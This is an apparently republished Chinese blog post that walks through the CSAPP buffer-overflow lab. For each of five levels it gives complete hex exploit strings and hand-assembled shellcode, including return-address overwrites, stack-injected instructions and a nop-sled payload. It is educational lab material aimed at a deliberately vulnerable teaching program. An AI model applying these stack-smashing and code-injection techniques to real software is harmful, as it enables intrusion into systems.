CSAPP: buffer lab

来源:互联网 发布:linux编译ffmpeg x264 编辑:程序博客网 时间:2024/06/04 18:49

解答过程及源程序包及实验文档下载:  http://download.csdn.net/detail/xuzhezhaozhao/5292532

或 https://github.com/xuzhezhaozhao/CSAPP-Labs

花一天时间做了这个lab, 难度比之前bomb lab小, 分析也不复杂, 只要弄清楚缓冲区溢出的原理就比较好做.


注意: 这个程序运行时要有一个userid参数,我的设置的是xzz, 不同的userid会对应不同的结果.我的答案如果换成别的userid的话就不成功.

而且也可能和机器有关,因为程序中一些变量的存放位置可能不同.


  • Level 0: 
这一关是执行getbuf()函数后不返回到正常位置,而是转去执行smoke函数.

查看汇编代码得到smoke函数的入口地址为0x080490ba.
调用getbuf函数时输入字符串的存放位置为$epb-0x28, return address的位置为$ebp+4.
则得到要输入的字节码应该是44个00,接着是ba 90 04 08.也就是smoke的入口
地址,这样函数在退出getbuf函数时就会ret到smoke函数处执行smoke函数.
solution:
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 ba 90 04 08


  • Level 1:
这一关是执行getbuf()函数后不返回到正常位置,而是转去执行fizz函数, 而且要将你的cookie值
作为参数传递给fizz函数.

同样先得到fizz函数的入口地址为0x0804906f.
由于要将自己生成的cookie作为参数传递给fizz函数,先分析fizz函数
的参数在栈中位置,很明显由fizz函数中的下面两句可得到结果.
可知fizz函数的参数存放在$ebp+0x8位置处.因为进入函数后有个push %ebp的
操作,所以可知其参数在执行fizz函数之前的栈的栈顶之下的那个位置.
因为是执行fizz函数而不是call fizz函数,所以栈不会自动push return address.
所以结果就出来,在Level 1的基础上修改return address使其指向fizz函数,再继续向上
修改栈中的值,使其传递你所特定的参数(cookie)给fizz函数.
8049075:       8b 45 08                mov    0x8(%ebp),%eax
8049078:       3b 05 e4 c1 04 08       cmp    0x804c1e4,%eax
生成xzz的cookie值为0x52f8c747.
solution:
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 6f 90 04 08 00 00
00 00 47 c7 f8 52




  • Level 2:
这一关是要执行栈中你指定的特殊指令,设置一个全局变量变你的cookie值,再去执行bang函数.

同样先得到bang函数的入口地址为0x08049022.
由于要修改全局变量global_value的值,先找到其存储位置0x804c1ec,
用GDB调试可以观察到0x804c1e4中保存是你的cookie的值.
8049028:       a1 ec c1 04 08          mov    0x804c1ec,%eax
804902d:       3b 05 e4 c1 04 08       cmp    0x804c1e4,%eax
8049033:       75 1e                   jne    8049053 <bang+0x31>
下面设置gloal_value值为cookie.汇编代码为:
mov 0x804c1e4, %eax   /* move cookie to %eax */
mov %eax, 0x804c1ec   /* set global_value as cookie */
push $0x08049022      /* push the address of bang to the stack */
ret              /* goto bang */
用gcc汇编用objdump反汇编得到其指令序列为:
a1 e4 c1 04 08
a3 ec c1 04 08
68 22 90 04 08
c3            
gcc -m32 -c example.s
objdump -d example.o > example.d
将指令放在最开头位置字符串,0x55683428
solition:
a1 e4 c1 04 08 a3 ec c1 04 08
68 22 90 04 08 c3 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 6f 90 04 08 00 00
00 00 00 00 28 34 68 55


  • Level 3:
这一关是要修改getbuf()函数的返回值(正常状态为0x1)为你的cookie值,然后让函数正常返回到test.

查看汇编代码得到getbuf函数返回后指令执行位置为0x08048c93.
调用getbuf会在栈中保存一个old %ebp值, 这个值是test函数的%ebp值,这个值需要正确返回.
用GDB调试得到这个值old %ebp为0x55683480.
则在栈中需要执行的指定应该如下, 指定存放在字符串首地址处0x55683428:
mov 0x804c1e4, %eax   /* move cookie to %eax as return value */
mov $0x55683480, %ebp  /* recovery %ebp */
push 0x8048c93       /* return address */
ret
得到指令序列为:
a1 e4 c1 04 08
bd 80 34 68 55
68 93 8c 04 08

c3 

solution1:
a1 e4 c1 04 08 bd 80 34 68 55
68 93 8c 04 08 c3 00 00 00 00 
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 28 34 68 55
还有一种办法就不用在指定中用mov $0x55683480, %ebp来恢复%ebp,
只要给的字符串不改变old %ebp内容就可以.
solution2:
a1 e4 c1 04 08 68 93 8c 04 08 
c3 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
80 34 68 55 28 34 68 55



  • Level 4:
前面4关在调用getbuf函数时其栈的位置是不变的.这一关调用的是getbufn函数, 
其缓冲区大小为512个字节, 且每次栈的位置都会变化, 以下是%ebp的变化情况:
getbufn函数的%ebp值:
0x55683450
0x55683430
0x55683400
0x556833e0
0x556833e0
字符串的存储位置为 %ebp-0x208 (520):
0x55683248
0x55683228
0x556831f8
0x556831d8
0x556831d8
变化范围为:0x70 (112)

test函数的%ebp值:
0x55683480
0x55683460
0x55683430
0x55683410
0x55683410
看出getbufn的%ebp值比test的小0x30.在getsbufn执行ret后%esp-0x8的值就是getbufn的%ebp值.
则此时test的值应该为%esp+0x28.
则在栈中要执行的指令为:
leal 0x28(%esp), %ebp  /* recovery %ebp */
mov 0x804c1e4, %eax   /* move cookie to %eax as return value */
push $0x8048c2e       /* return address */
ret
指令序列为
8d 6c 24 28
a1 e4 c1 04 08
68 2e 8c 04 08
c3

字符串前指令序列前的字节都设为nop(0x90),形成"nop sled".一共应该有528个字节,最后4个字节为0x55683248.(字符串可能存放的最高地址).
solution:
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 8d
6c 24 28 a1 e4 c1 04 08 68 2e 

8c 04 08 c3 48 32 68 55



  • 总结: 

  1. ret指令将栈顶的元素弹入到PC寄存器中, 程序转到PC寄存器指向的位置执行. 如先push $ADDR再执行ret则程序会跳到ADDR位置执行指令. jmp指令是相对寻址来跳转.
  2. 寄存器%ebp的值很重要, 如果缓冲区溢出时破坏了, 则被调用程序返回后会出问题.

原创粉丝点击